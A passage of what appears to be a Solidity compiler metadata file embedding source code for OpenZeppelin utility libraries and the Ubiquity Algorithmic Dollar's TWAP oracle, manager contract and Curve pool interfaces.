SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 